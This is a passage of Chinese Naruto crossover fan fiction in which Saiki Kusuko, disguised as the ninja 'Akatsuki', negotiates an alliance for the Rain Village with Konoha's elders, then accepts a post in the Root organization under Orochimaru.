而那个少年的声音又响了起来。 “不用那么麻烦,我们……直接去火影大楼。” 23.商议 “直接去火影大楼?!” 看着长门惊疑的神情,再被他愕然的心音吵到,齐木楠子木着脸点了点头。 按住了他的手臂。 “走吧。”她说着,下一秒,已经带着长门出现在了火影大楼前的广场处。 瞬间,无数视线像是针扎一样聚集而来。 初次经历瞬移,长门几乎算是颤抖了一下,才在楠子的提醒下挺直了背脊。 【不行,不能给晓丢脸。】 他的脸上显露出坚毅的神色,上前一步就想说话。 齐木楠子当然不能让他说话。 她还想着早点把事情搞定,而后回去睡觉呢! 于是,深紫色的眼眸一转,长门的脚步已经不能动作。 【是晓吗?他果然有和栗子一样的能力。】他的念头一转,放下心来。 楠子见他安静,于是开口:“我知道三代火影不在,所以,把波风水门叫过来,我有事要和他谈。” 晓,或者说齐木楠子做出一副嚣张的样子。 哎呀,其实她平时就不算谦逊,这时候只要语言外放一点而已就行。 周围闪现出几个忍者,齐木楠子认出了其中几人,又无趣地转过目光。 “我要见的是波风水门,不要让我多说话了。” 那些忍者想要询问,却在楠子的逼视下无法出声,心中惊疑不定之时,一道金色的闪光瞬身而下。 那道金色像是瞬间出现,一出手,一点寒芒就后发先至,朝着长门的脖颈直直而去,而长门甚至还未反应过来。 ‘抬手就是杀招啊,波风水门。’ 楠子脑海中的思维急速掠过,她轻轻抬手,手指已经准确插入那苦无尾部的环。 微微施力,那苦无就无法再进一步。 长门的眼睛已经骤然睁大,哪怕已经可以动作,可他的脚步却也只是微微后撤了一步,更像是被吓到。 金发忍者面如寒霜,一双湛蓝色的眼眸带着冰冷,转了过来。 波风水门,若说之前所有的时间线中,有哪位忍者曾经让他吃亏,那就是他了。 这个忍者简直像是一个两面人。 齐木楠子也以木叶孤儿的身份见过他一、两次。 作为旗木卡卡西尊敬的师傅,他那时候笑容和煦、开朗热情,简直像一个毛茸茸的大金毛。 但是一旦到了战场上,或者与他刀兵相向,他就像立马变了一个人。 这也是为什么齐木楠子觉得他更适合“金色死神”这个称号。 这个称谓带着敬畏,也代表着他所杀死了无数条生命。 对,她已经决定了,一定要用“金色死神”这个称号替换掉他帅气的“金色闪光”称号才对! 望着他满面寒霜的脸,齐木楠子嗤笑出声:“真不愧是金色死神,出手真是狠辣。” 她望了望周围的忍者,“既然如此,那我也礼尚往来吧。” 随着她话音落下,催眠术瞬间运作起来,围在周围的数十个忍者依次倒地。 “放心,他们只是睡着了,现在我们可以找个地方说正事了。”她说着抽回了手,抬步向前。 ----------------- 同一时间,木叶电视台。 旗木朔茂看着自己的儿子,语气有些揶揄,“卡卡西居然带了花呀!可是楠子这次可不一定会获胜,我看到了奈良家的忍者也出现了,你知道的吧,奈良鹿行是你的学长呢。” 如果旗木朔茂和楠子一样会读心声的话,就能够听到旗木卡卡西心中的想法。 ‘鹿行前辈吗?那么楠子肯定会输啊。如果在这个时候安慰的话……’ 他的脑海中已经出现了一幅画面,短发的女生穿着漂亮的衣服,鼻头微微发红,连那双深紫的眼眸里都带上了失落。 她会说:“卡卡西没想到邀请你来,却让你看到了我这副样子,真是……” 而卡卡西当然是不会介意的,他会上前一步把花递上去,用沉稳的声音说:“没有关系,楠子,无论如何,你在我心中都是最……” ‘哎呀,这样做的话,简直像是书里的情节一样啊。’木叶天才中忍旗木卡卡西正在想入非非。 “卡卡西。”旗木朔茂的声音打断了卡卡西的联想和他面罩下有些发红发热的脸。 他看向了父亲,才发现父亲望着窗外,若有所思,“忍鹰,你好像有任务了呢。” “唔……”居然在这个时候。 卡卡西望了望手中的花。 他当然知道这次的比赛对于楠子来说很重要,因为楠子自从小学毕业之后,其实就一直很消沉,也没有找到什么像样的工作。 而如果这次比赛能够获胜的话,甚至只要拿到一个比较好的名次,对她来说无疑都是种鼓励。 ‘可是,身为忍者,还是任务比较重要。’他心里想着,将花递给了父亲,目光却又在那鲜艳欲滴的花朵上流连了几秒。 “那么父亲,就麻烦你帮我把花送给楠子。” 朔茂笑了笑,“没有问题啊。” 卡卡西点了点头,最后看了一眼演播厅的方向,瞬身出了木叶电视台,向着火影大楼而去。 ----------------- 火影大楼的会议室中。 齐木楠子坐在椅子上,双腿却翘在了桌上。 这是她故意为之,毕竟这可是她所生活的木叶呀。 面前的忍者,她也有几分熟悉。 ‘呀嘞呀嘞,最后出场的,还是水户门炎和转寝小春啊。’ 不过还好,正因为她的牵扯,这两人也不敢让波风水门离去,去调查什么边境的危险了。 只是她目光一移,看见了从门外走进的灰发覆面忍者,顿时将眼睛转开。 ‘连卡卡西也到位了。那么现在,就只有开演了。’ 再睁眼,她就成为了名为“晓”的潮男忍者。 “到底要等多少人到才能开始谈啊?难道这间会议室装得下木叶所有的忍者吗?”晓大声嚷嚷着。 而对面的水户门炎早就已经皱起了眉头,目光灼灼地盯着他们俩,“你到底是谁?你们前来木叶到底有什么目的?” “我叫晓,我觉得你们这里至少应该有我的资料吧,毕竟我可是对你们木叶有大恩啊。”晓微微转过头,黑 白色的面具显露不出任何的威胁之色。 可是水户门却清楚的知道面前忍者晓的强大。 三代派出旗木朔茂小队拿回压切的事,他们此前并不知晓。 直到看到了压切的真身,他们才反应过来。 “我们遇到了一个名为‘晓’的忍者,他……很年轻,甚至很年幼,一招就将我们所有人制住。” 旗木朔茂和他的队友们说明了任务的经过,那个厉害的忍者和旗木朔茂做了交易,而后才将压切交给他们,放他们安然离开。 当时木叶还是分警惕,可几年过去,晓并未出现,没想到却在这个时候出现在了木叶,还一招将所有忍者制服。 水户门眯起眼睛,沉声说:“之前是之前的事,可我想,在拜访别人之前,你也应该先介绍自己才对。” “这倒也是。”晓笑了一声,说,“那么还是介绍一下吧,我的名字是晓,现在是雨之国的主人。” “雨之国的主人?”听到这可笑的称呼,转寝小春故作嘲笑,“我以为雨隐村的主人是山椒鱼半藏。” “他已经成为我的俘虏了,还算听话。”晓的语气里带上了嘲讽,“还是你们不能接受,和你们年纪差不多的忍者,被后浪淹死呢?” 水户门炎和转寝小春的目光都是一厉。 可既然都已经坐到了这个位置上,他们两个人自然不可能冲动,反而余光扫过了波风水门,示意他说话。 波风水门自己也懂得。 他上前一步说:“木叶只是没有得到相关的信息,不知道雨之国的主人现在来到这里是为了什么? “当然是为了做交易。”晓大喇喇地说着,“我这里有一个事关木叶存亡的消息。还有一个可以帮你们解决这次事件的办法。就是不知道你们能不能出得起价钱。” 消息?办法? 自从听到这两个词,无论是波风水门还是两位老人都确信,现在在监听这间房间的木叶暗部,已经着手去查询相关的信息。 可是晓更明白,唯一能够利用飞雷神术轻易往来边境和木叶村的波风水门,已经被他用威胁和话语困在了这间会议室内。 那么就无人能够在短时间内验证他的消息究竟是什么。 没有了相关信息,木叶也无法强硬。 果然过不了多久,水户门炎就吐出口气来,做出一副强忍羞辱的模样,低下了那高昂的头。 “先说说你要交易的究竟是什么吧。” 晓不为所动,他知道这只不过是水户门炎在故意示弱,就像他故意张狂一样,只是令敌人放松警惕。 这帮木叶的年迈忍者都老死成精,志村团藏和猿飞日斩甚至是其中最好对付的两个。 面具下他勾了勾唇角,同样沉下的声音。 “我的要求是,木叶承认现在晓在雨隐村的首领地位,同时和我们签订盟约。还有,让火之国的大名,承认雨隐村对于雨之国管理的正确性。” 话语一落,会议室瞬间寂静,连窗外的鸟雀似乎也不再啾啾鸣叫。 脸色涨得通红的水户门炎看着晓,仿佛要将他燃尽一般,半晌才喷出一句: “狂妄!” 24.结果 狂妄吗? 齐木楠子,或者说晓,不那样觉得。 做生意嘛,不就是要讨价还价,他不将价格提得高一点,对面还以为他在贱卖哩。 “你不如先听听我的筹码如何?”他勾起了唇角,“岩隐村一行七十多位忍者正向着木叶进发。” 水户门眼角一跳,只是又冷笑起来,“你要说的,就是这样的消息吗?” “你大概在想可笑吧,毕竟这些人,你旁边的‘金色死神’随便过去也就能消灭掉。”他的目光似是在波风水门的身上绕过一圈,而后还是落在了水户门炎和转寝小春的身上。 “但是,我卖的,是一个机会。” “机会?”水户门炎几乎想要嘲笑了。 岩隐村的进攻固然可怕,但是只要得到了消息就能防备。 那么雨隐村此刻说的大话,就只是没见识土老帽的自以为是而已。 可他还是愿意听完对方的话的,正当他好整以暇之时,对面的晓却更是从容。 他说:“是……让岩隐村放弃木叶进攻计划,为木叶,不,火之国减少一个敌人的机会。” 晓说着,清晰地看到对面水户门炎的笑意僵硬在嘴角。 笑意不会消失,只会转移。 面具下,晓笑着,话语却十分平静。 “木叶现在很是尴尬吧?占据了最丰饶的土地,却得面临其他大国的围攻。土之国、风之国、水之国、雷之国……明明这些国家都没有盟约,却协同一致地开启了战争。连火影都不得不到边境以作防御,只剩下两位孤寡老人,和……一位可以随时支援各个战线的忍者。” 晓的目光落在波风水门身上,对方只是肃着脸,一言不发,连心声都未动摇半分,全情都投入在判断情报是否正确,是否能制住晓这两件事上。 ‘不愧是卡卡西的师父,比卡卡西更胜一筹啊。’ 见晓一时未言,两位孤寡老人目光微冷,正想说话,就被他抬手打断。 “要我说,你们也太过自私了,不想在自己的国家里打仗,就来雨之国捣乱,我们也受够了。 “所以,我们雨隐村,将作为中间人,邀请木叶和岩隐村下来好好谈谈,若是能达成盟约就再好不过。” 听到这里,孤寡老人反而嗤笑出声。 “雨隐村?就凭你们?”你们哪那么大脸? 转寝小春的脸上几乎就写着这句话,相反的是,波风水门反而神情凝重。 晓自然不会理会转寝小春的嘲讽,他只是道:“不管能不能行,不试试,那么可能性就是0。……即便不行,雨隐村也会作为木叶在北面的屏障,堵住岩隐村的进攻。怎么样?用其他村子忍者的鲜血,换取自家村子忍者的性命,这个交易,不亏吧?” 晓的话音里带着嘲弄,但是无论是水户门炎,还是转寝小春,都不会在乎。 他们在隐秘地对视之后,不再复方才那激动的模样,拉平了嘴角,接连发问: “你能决定这件事吗?” “说说吧,雨隐村的目的,究竟是什么?” 面具下,晓也隐秘地笑了起来。 “都说了,我是雨之国的主人了,我不来做主,要谁来做主?” 他收起了之前嚣张的姿态,一根手指重重点在了桌面上,声音仿若带上了金戈之声。 “我们……只是要上桌而已。” ----------------- 一个下午过去,长门依旧迷迷糊糊,到了会议最后,才似乎明白了这场会议代表着什么。 晓……似乎把晓……卖了?卖给了木叶? ‘不,不对,晓其实一个人就能顶住岩隐村忍者的攻击吧?那么,就还是晓把晓卖了?……不是……’ 长门的眼眸微微垂下,牙齿咬住了嘴唇。 ‘都怪晓的名字和晓组织一样!’ 他头脑不算清晰,几乎算不清楚,甚至也不明白上桌意味着什么。 在他看来,晓组织既然宣称是一个立志于忍界和平的组织,那么其他国家的忍者自然会认可。 毕竟,他们都是忍者,都是平等的,不是吗? 可是啊,他们被锁在雨之国太久,除却斑和泉奈,接触到的最高等级的忍者,也不过是此前想要掀翻的山椒鱼半藏。 而就算是山椒鱼半藏,也只是依靠着自己的实力,在战场上挣扎了半生,才在雨之国立稳了脚步而已。 对于大国来说,他们……什么都不是。 雨之国、鸟之国、草之国…… 这些在大国夹缝中生存的国家,除却偶有那么几个出色的忍者支撑以外,之所以没有消失,只是因为大国与大国之间完全不想接壤,也不想给对方留下攻下自己的桥头堡。 换而言之,这些小国获得的只是基本的尊重,实际上根本没有国权。 可是,一旦火之国以“盟友”称呼雨之国,那么雨之国立刻就会被认可,成为足以在大国形势间说得上话的国家。 这……就是楠子想要的效果。 ‘先给自家抬咖,而后建立起以雨之国为核心的小国联盟,如果能这样顺利就好了。……啊,既然我这个最强超能力者在身后予以支持,就不可能不行吧?’ 楠子想着,站起了身,用下巴虚点了点长门,“我把这个忍者抵押给你,别看他傻傻的,但是他可拥有稀有的血继限界。如果出了问题,我们的约定就作废。” 水户门的目光在长门的眼睛上停留了几秒,不屑地转开,紧紧盯着晓的面具。 “我希望你今天下午的话,不是在说大话,否则,木叶会让你付出代价的。” 楠子不置可否。 这话她听过很多次了,可每次付出代价的,都不是她。 众人已经散会,除却离远一些的监视者,这里只剩下了满肚子疑问的长门和楠子。 “不要多问,你知道的越多,泄露的也只会越多。别反驳我,稍微跟着木叶的忍者学习一下吧,这样,你才能知道你们欠缺的是什么。” 她原本在等待长门反驳,毕竟面前的长门比他至少大个三、四岁,就像时常刁难卡卡西的那些前辈一样,他大概也不会服气。 但是不知道自己是PUA太过成功,还是真的见识到那巨大的实力差距,长门居然什么都没想地就压抑住自己的不满,认真说“是”。 ‘呀嘞呀嘞,现在我倒是宁愿你反驳我一下呢。’ 原本想要瞬移离开的。 可看着对方俊秀的面容和温顺的神情,她还是停了下来。 手放在兜里,脑海中随意去想,而后将一个挂坠拿了出来。 那挂坠上悬挂着一颗不规则的锥型半透明水晶,通体都是紫色,上面有黄金作为点缀。 空想造物,她新增的能力之一,只要她想,就能做出具有指定功能和外观的物品,就像是在游戏里插入自定义Mod一样。 只是楠子很谨慎,她可不想真的搞出什么强袭高达之类的东西来。 哦,初号机倒是有一个,就在雨隐村停着呢。 < p>她将挂坠递给了长门,“给。” 接过了那挂坠,长门有些讶异,“这是什么?” “回城水晶,如果有危险,就捏紧,然后说‘回城’。”楠子睁大了眼睛认真说。 可是她的面具根本就没有眼睛露出的空间,长门也根本不懂这个独属于现代人的梗。 ‘所托非人,真是所托非人。’ 楠子意兴阑珊,“总之,别丢了晓的脸,但也别死在这里了。那么,再见。” 说着,她消失不见,而电视台的摄影棚里,这个时间线上的齐木楠子才将将开始发表获奖感言而已。 她说:“非常感谢大蛇丸大人的指导,在场的选手们也十分优秀。我……” ----------------- ‘楠子的录制,是不是已经结束了?等等,现在可不是想这个的时候!卡卡西。’ 另外一边,跟从在波风水门身后,卡卡西收回了望向窗外的目光,才肃下神色,就感觉到前面的老师忽而停住了脚步。 “水门老师?”他望向水门的目光有些疑惑。 可如果他会读心的话,就会知道此刻波风水门的心情。 忍界忍者的阶级分明,只有少数天赋出众的忍者能够打破家族林立所带来的壁垒。 波风水门正是其中之一。 他没有家世、血继限界、家传忍术中的任何一个,单凭基础忍术和体术建立功勋,而后成为了三忍之一自来也的弟子,换取了飞雷神术,成为了“金色闪光”,在战场上杀人无数。 正因为如此,他明白晓的力量的含金量。 因为第二次忍界大战损耗,所有国家都明白了“王不见王”的道理,即只要你方不动用王牌,我方就不率先动用。 而他获得“金色闪光”称号的时候,正是因为各国的“王牌”都在潜规则下不能出手,比如木叶三忍,自来也老师盘桓在木叶和其他国家,纲手大人直接不再出手,大蛇丸大人倒是时不时出任务,却神龙见首不见尾。 水门活跃于战场之上,他的实力确实高超,但是杀死的,也确实大部分是普通上忍和中忍。 要是往恶劣一点去想,对方那“金色死神”的称呼,完全是在讽刺他也说不定。 可波风水门此刻想的却完全不是讽刺不讽刺。 ‘晓说的是真的吗?他难道真的能够脱离忍者村与国家的藩篱,解决战争吗?’ 如果真的可以,那么他波风水门,无疑也只会是对方的朋友,为对方欢欣而已。 可是,这所有的前提是,晓说的都能实现,他也能做到他所说的。 这样一想,他转过身,看向了卡卡西,“卡卡西,我想让你最近去监视长门。” 卡卡西有些意外,“长门,难道不会被看管起来吗?” 水门摇了摇头,“晓和他不知道是怎样穿过木叶的结界的,既然不能问询,水户门炎大人必然会放他出来。” 放他出来是为了什么呢?当然是为了查看现在的木叶是否有对方的内应。 卡卡西骤然明悟,神色也越发郑重,“是!师父!那我现在就去。” 他说着,转身欲走。 “等等,卡卡西。” “嗯?”他停下了脚步,就见自己这位温和的师父笑了起来,“也不用那样着急,楠子的比赛是今天吧?你要么,先去见见她吧?” “呃?!”卡卡西一呆之下,脸猛地涨红,不由得在心中咒骂: ‘宇智波带土,你这个大嘴巴!’ 25.谈话 ‘啧……在这个时候,说这种话,请把我的感谢还给我啊……’ 刚重新拨正了时间线,就见到了大蛇丸,对方还在说什么要收自己为弟子之类的蠢话,是真的把她当傻瓜吗? 楠子虚着眼看着面前的大蛇丸。 不过是一会儿不见,这位忍者就显得越发“慈和”了。 “有的人的天赋就像是天空中的太阳,一眼就能灼伤人的眼睛。可有些人的才能,就像是暗夜里盛开的花,只有有心人才能闻到那馥郁的香气。” 他的目光里涌动着叹惋的光,“楠子,你能告诉我,那些数学公式,真的是你自己完成的吗?” ‘呀嘞呀嘞,大蛇丸,居然这样输不起啊。’楠子虚着眼看着大蛇丸,耳中大蛇丸的心音里全是诡诈。 【有那样好用的头脑,只要稍微教导,就能派上用场吧?】 抱歉,我并不想派上用场。 【说什么不会三身术,人难道还学不会三身术吗?】 这……是真的学不会。 【一旦她加入根组织,那么……】 他的目光越发柔和,“不愿意回答吗?呵,你不必担心,我只是有些惋惜才能被湮灭而已。像你这样聪明的孩子,却因为不会忍术而被埋没,是多么令人痛惜的事情啊!我现在正想给你提供一个机会。” 他等待着楠子搭腔,可明显等不到了,就只好尬在那里。 心里痛骂【难缠的小鬼】,嘴上却轻咳一声,像是方才未言是在顾忌着什么一样。 “你……可以成为我的弟子。”大蛇丸的声音似是真切。 楠子的眼睛动了动,方想张口,已经有人“嗖”得一声出现在一边。 “大蛇丸大人。”卡卡西半跪于地,抬起头来,“火影大楼有紧急事项,需要您前往。” “啊……是卡卡西啊。”大蛇丸的唇角勾了勾,目光看向了一言未发的楠子,“楠子,你要记住,只有能够兑现的天赋,才能真正的帮助到你。你……不能让自己失望啊。” 他说着,也如影子一般消失不见。 卡卡西蹙着眉站起身,看向了大蛇丸消失的方向。 “大蛇丸大人和你说了什么?” “他想让我成为他的弟子。”楠子随意说着,手指却在抚弄手中的鲜花。 “弟子?”卡卡西十分讶异,更直接的是他的心声。 【大蛇丸大人居然想收楠子为弟子吗?那太好了……楠子也不会自……】 ‘呀嘞呀嘞,我拒绝你绝对不是因为自卑啊。’ 她正虚着眼想着,卡卡西已经自顾自地说了下去:“没问题的楠子,自来也大人说,大蛇丸大人学识渊博,你一定能够学到许多知识。” 他停顿了一下,见楠子只是偏过头没有搭话,就自顾自地认定了楠子并未获得第一,毕竟她脸上并没有什么喜色,连大蛇丸大人也没有提起。 [楠子在不开心吗?不过,很少见她穿成这样,好漂亮。] 卡卡西面罩下的脸微红,楠子却又虚下了眼睛。 ‘我不开心的原因可不是这个啊。’ 她不知该怎么说,说“你对我的估量错了,我其实获得了第一吗?”那也太自我意识过剩了吧。 就在她迟疑之际,卡卡西已经继续说了下去。 “父亲已经和野乃宇院长一起走了吧?我等会要出任务,我请你吃饭吧,就算庆祝?还有这次比赛,就算是成绩不好也没关系,我见到了奈良鹿行,虽然体术不是很好,但那位前辈可是头脑灵活呢。” “呵呵。” “嗯?楠子,你笑了吗?”卡卡西只见着楠子抱着他送的花,一时没有注意。 “喂!我说卡卡西,你倒是也不至于连男性和女性的笑声都分辨不清吧?” 楠子的脸早已转向了另外一边,想要装作一个粉色的盆栽。 ‘丢脸,在这里说手下败将的坏话,还被对方听到。真是失误了阿卡卡西。’ 是的,那边走廊行来的,正是奈良鹿行,他双手插兜不客气地冲着卡卡西挑眉。 “看你这样子,不会是从任务中偷跑出来的吧?” ‘不,卡卡西不会做那样的事。’可楠子意外的是,面对这位前辈,一向脾气很好的卡卡西居然并没有退让。 “啊,是鹿行前辈,我倒是没想到你居然会来参加这一类的比赛呢?是下忍的任务不够多吗?” ‘哦呦,他们之间有过节吗?’可楠子下一秒就从卡卡西的心声里搞清楚了状况。 他在想:【这个时候来这里,难不成是来嘲讽的吗?】 ‘额,不是哦,现在正在试图嘲讽手下败将的,是你哦卡卡西。’楠子微微张嘴,不及说话,那边的奈良鹿行已经接上。 “是啊,谁比得上最早成为下忍,又早早成为中忍的天才,旗木卡卡西啊。”他摊着手,歪扯着嘴角,话语中的讽刺几乎肉眼可见。 可奈良鹿行似乎并不想和卡卡西多作牵扯,说完这句就看向了旁边冷着脸的齐木楠子。 “喂,最后和大蛇丸大人的对局,你本来可以早早结束吧?” ‘原来是因为这件事。’齐木楠子点了点头。 鹿行紧接着上前一步,“我可从来没在围棋大赛中见过你!有这样的棋力,你到底在哪里下的棋?” 齐木楠子沉默了。 她要怎么告诉奈良鹿行,她是在4岁的时候看哥哥的漫画书《棋○》,而后不经意间就学会了,而后凭着自己的超强理解力,在看着他与大蛇丸的对局中,回忆起规则,然后硬生生地凭借大脑的运算力,计算出最优解的呢? ‘如果这样说,就会被打吧?而且……这样的情境也太像《棋○》里面会出现的了啊。’ 她不答话,自然被看做了回避。 而旗木卡卡西也是相当自然地踏前了一步,挡在了奈良鹿行的前面。 “前辈,不要太过分。”他皱着眉说。 奈良鹿行却又扯了扯嘴角,看向了卡卡西,“对了,你是刚来,所以不知道吧。你身后的这个家伙,可是刚刚打败了‘体术不是很好,但是头脑灵活’的我啊。我啊,可是惨败。” “惨败?”楠子打败了鹿行前辈?卡卡西露出惊讶的神色。 “是啊,”鹿行微一点头,紧紧盯着获得那样压倒性胜利还无动于衷的楠子。 看着她微不可查地动了一下脑袋,无机质的眼睛似是瞟了过来,“我说过了,我只是真的很擅长数学而已。” “呵!”奈良鹿行怎么会信,他在下个瞬间即可冷下神色,“那我就在下一届的比赛中等着你。” 还是不要比较好子转,楠子过了脸,在心里想。“如果输给我两次,就算是你也会气的跳脚吧?” 她没有说话,毕竟现在说什么都显得嘲讽,看那两女似乎又把这当做了看不起。 “呵!那就试试看吧!”说出了这句败犬言论,奈良鹿行重重踏着步子走了。 楠子望着他的背影,心中有些叹息,可下一秒,嘴角就不自觉抽搐,目光也飘到了旗木卡卡西的 身上。 【这算是天降吗?啧……天降绝对打不过竹马吧?】 ‘在这种时候思考什么天降打不过竹马什么的,卡卡西你能不能清醒一点!’ “嗯?楠子?怎么了?”卡卡西回过神,对上了楠子的眼睛,就立刻整理了神色,试图露出沉稳可靠的那一面。 ‘我又不能对你说,你根本算不上竹马,对方也不是天降啊,你心里说不定会哭给我看呢。’ 楠子干脆转开了脸,“……没什么,只是很少见到你这么强硬的模样。” “啊,只是和奈良前辈……有些过结。”卡卡西心里对他真正的前辈奈良鹿久说着抱歉,可他实在不想将对外嚣张跋扈的那一面展露在楠子面前。 于是只是说:“我和鹿行前辈的兄长,奈良鹿久前辈接触的比较多。” ‘呀嘞呀嘞,你的心声可是将你的想法全部泄露了呢。’ 楠子倒是觉得自己可以想象地出卡卡西在外臭屁的模样,他从小就那样了,只是她很少见到而已。 她冷不丁说:“经过这次比赛,我准备接受大蛇丸大人的邀请,成为对方的弟子。” 卡卡西微感意外,他以为自己还需要花很多时间说服楠子呢。 [难不成,是因为我……?] ‘又来了,帅哥的自我意识过剩。’楠子干脆抬步走起,慢慢道: “在这次比赛中,所有关于查克拉的题,我都不会,以前是弄不懂,但是现在有名师教导的话,怎么都应该可以了吧?而且,据兜说,根组织有五险一金。” “五险……一金?”卡卡西念着着有些拗口的名字。 楠子点点头,“是啊,总之,工资和养老都有保障,总比做别的好。” “嗯,那当然啦,如果是楠子你的话,就一定没问题啊。如果有问题,就来问我。” ‘不,我会去问大蛇丸。’ 楠子停住了脚步,看向了卡卡西,“对了,谢谢你的花,之前都是你请客,今天,就由我来请吧。任务集合的时间不紧急吧?” “额?不、不算紧急!”卡卡西答应着,心底却炸开了花。 【晚餐邀约,这、这难道是约、约会?!】 可是及至坐在了吉野屋的长桌前,他的心情顿时灰暗。 要问为什么,那就是除了他们两人,所有孤儿院的孩子,甚至包括楠子打工的甜品店的店长都被叫来了啊! ‘糟糕,是我多想了啊!可恶!’ 时间紧迫,他吃完饭,和父亲说了一声,看了眼那边正在孩子们簇拥下说着什么的楠子,顿时叹气,迈步出店门时,却被叫住。 “是旗木中忍是吧?给,都给您打包好啦!” 店员面带笑容,礼貌地递上来一大份寿司拼盘。 卡卡西有些诧异:“可是,我没有……” “是方才的那位小姐让帮忙打包的,你就直接拿去吧!” 卡卡西微微一怔,看向了店内。 药师兜扯住了楠子的衣角,似乎正兴奋地说着什么,楠子却像是惯常一样似听非听,及至对上了他的眼睛。 就从眼角眉梢流露出点点温柔和悦,不知为什么却又迅速收敛而后连头也撇开了去。 这时候,就如同以往的每一幕一样,卡卡西的心间涌上了难明的情绪,更加确信了自己的想法。那就是…… 【她,心中有我。】 殊不知,那边楠子心中也正在骂人,‘又联想到了爱情上,卡卡西,能不能收收你的恋爱脑啊!’ 26.任职 要说加入根组织,楠子之前可并没有考虑过这样的选项。 诚如之前所说,哪怕只有6年,但是齐木楠子也深受现代社会的熏陶。 所以她一直没有意识到木叶小学毕业后,她就应该准备找一份正式而体面的工作。 这也是因为无论是野乃宇,还是周围的人,都没有和她提过,连类似的心音都没有。 他们都是忍者,除了做忍者相关的工作,不考虑别的。 所以楠子在小学毕业后,考虑的只有升入平民所在的初中和家里蹲两个选项。 可经济状况让她这两个选项都落了空。 现在,却有一个机会摆在了她的面前。 大蛇丸,三忍之一,无人能小视他的学识,于是,进学的那一部分要求,似乎满足了。 而后是根组织,有编制,有丰厚的工资和奖金,虽然比不上忍者,但是后勤人员足够安全。 啊……不仅仅是对她安全,对其他的忍者也很安全。 那还有什么可犹豫的呢? “所以我要加入根组织了。” 野乃宇面露担忧,“楠子,你真的要加入根组织吗?”【难道是察觉到和卡卡西的差距太大才……】 ‘喂喂,请不要随意给我加内心戏啊。’楠子的眼皮跳了一下,随即开口解释道:“我是真的需要工作,也需要进一步学习,有什么地方能比加入木叶的官方组织更好的呢?” 她睁着眼睛装糊涂,连野乃宇都说不出话来。 毕竟她之前在根组织从事的任务,又有多少是能和楠子说的呢? 听到那心音,楠子垂下眼道:“而且,连兜都加入了,作为姐姐,我可不能被他看不起呢。” 木叶的另一边,正在根组织“半工半读”的药师兜狠狠打了个喷嚏。 ----------------- 关于加入根组织的事,楠子答应,而后楠子后悔。 她之前答应的时候,可没发现根组织的工作压力那样大呢。 前一天答应,第二天大蛇丸就派人送来了相关的资料和制服,而后是要求第三天上工。 要她说,这简直比现实世界的黑心企业都要着急。 她好歹将甜品店的打工辞去,为了感谢店主,还整理出了一份熟客的口味说明。 店主拉着她的手哭着说原本是想要让她做一辈子的看板娘的。 ‘那可真是大可不必。’ 她瞪着死鱼眼想,而后是岩隐村那边。 早在和木叶谈妥,也就是她夺冠的那个晚上,她就已经前往了雨之国,以栗子的身份,将岩隐村的一行70余人扣留在了雨隐村。 而后又带着其中的领头者,一名叫做东死人的忍者前往了岩隐村。 大野木一开始并不想理她,但她说了两件事情。 “要么,我告诉这70多人,和他们的家人,你其实并没有想着随后支援他们,只想着让他们消耗在与木叶的战争中,给大名和贵族们做交代。 “要么,我去刺杀大名。” 她说着,让东死人说明情况。 “一瞬间,我们的部队就失去了战斗能力。” 于是,大野木面露惊愕。 大野木试图重拳出击。 大野木失败了。 大野木沉默以对。 大野木热情不已。 “我们会派人去会谈的,”最后,大野木高声说,“但是,我不可能亲自去。” “当然。”楠子能够理解。 毕竟在她最初的猜想中,岩隐村就未必想打这一仗。 70多人的部队,是能造成杀伤,可是这究竟是图什么啊?难道杀死一部分忍者,就能让木叶瘫痪吗?别开玩笑了。 如果真要全面开战,就该像是水之国一样倾巢而出才对。 既然谈好,会盟的时间就定在了一周后。 而这个时候,楠子才刚刚准备好第一天任职而已。 这时候她才发现,她齐木楠子,一位12岁的少女,已经成为了一个高阶牛马,乃至于需要记录一个日程表。 ‘好了,再来检查一下最近的事项吧。’她抱着手在脑中计算。 √获得了《最强头脑王》的冠军。 √和木叶的长老进行了交易,拦截了岩隐村忍者的进攻。 √前往了岩隐村,和大野木做出约定。 √接到了大蛇丸的offer。 □几日后去参加木叶与岩隐村的会盟。 然后就是今天,加入根组织的第一天。 ‘糟糕啊,如果不好好记住,说不定会错过什么重要的剧情分支,从而必须要回档才行。’ 这种情况,她现在都不敢随意聆听远方的心声,生怕扫到了在某刻回到了过去的自己,导致时间跳跃失败,从而造成“坏档”。 ‘这个时候就会开始怀念手机和电脑,当然啦,我是能凭空造出来的,但是,我还是想以普通人的身份和大家相处的啊。’从头到脚都看不出普通的齐木楠子如是想着。 而后,她走进了根组织。 “你就是齐木楠子,请跟我来。” “好的。”跟从着充满复杂心绪的前辈,楠子的目光里带着冷意,一路审视着。 深灰色的走廊即便在白天也显得昏暗,四处似乎都有窥视的眼睛。 她目不斜视,直至走进一间空室之后被安排坐下。 房间里只有眼前的一位前辈。 ‘多久会来呢?所谓的木叶特产霸凌事件?’不怪她这样想,实在是经历过太多了。 可是,没想到等来的不是欺负,而是一整套练习题。 “这是,什么?”楠子看着桌面上高达半米的纸张。 在没有电脑和激光打印机的时代,编出这么多道题,实在是辛苦了。 “大蛇丸大人需要查看你的进度,所以说,在大蛇丸大人回来前,请你把这些完成。”前辈的语气生硬。 “哦……”楠子没有介意,只是在想,自己要不要浪费这几天的时光。 “如果遇到不会的题,可以查参考书。” “参考书?” “是的。”那位前辈走到了房间正前方的墙壁,按下了某处机关。 墙“咔嚓咔嚓”地打开,露出了背后那数十排书架,上面各类书籍卷轴一尘不染,排列整齐。 楠子无语至极,她早就想说了,花钱做这种无用的机关,根组织根本就是资金小偷吧? 只是下一秒,她干脆没了表情。 前辈没有转过脸,高昂着头,余光却扫过她的脸。 【呵,被惊到了吧?】 楠子顿了一秒,鼓掌棒读道:“呀,还真是厉害呢。” 前辈矜持地点了点头,坐回了如同图书馆前台一样 的桌子后,示意她开始答题。 ‘所以说啊,既然都有前台了,为什么还要这个机关?……算了,还是以正常的速度来做吧,什么时候做完就交上去。’ 她想着,开始动起笔来。 ----------------- “来,就是这堆,把这些题也送过去。”大蛇丸随意地将一沓纸甩在桌面上,没注意压到了自己最近正在研究的草稿。 “好的,大蛇丸大人。”助手说着,将那沓纸整理清楚,而后抱起。 “没想到这个时候偏偏要去做任务。”团藏跟着三代去打团了,波风水门又需要用那绝对的机动力驻守木叶,于是参加会盟的人,反而变成了大蛇丸。 他一时之间忙了起来,也顾不上楠子,对着自己最近的得力助手说:“等她把题做完,你来判断就好,然后把书单给她,等我忙完了这段时间再说。” “不需要给她点教训吗?”助手问。 “随你的意。” “好的,大蛇丸大人。” 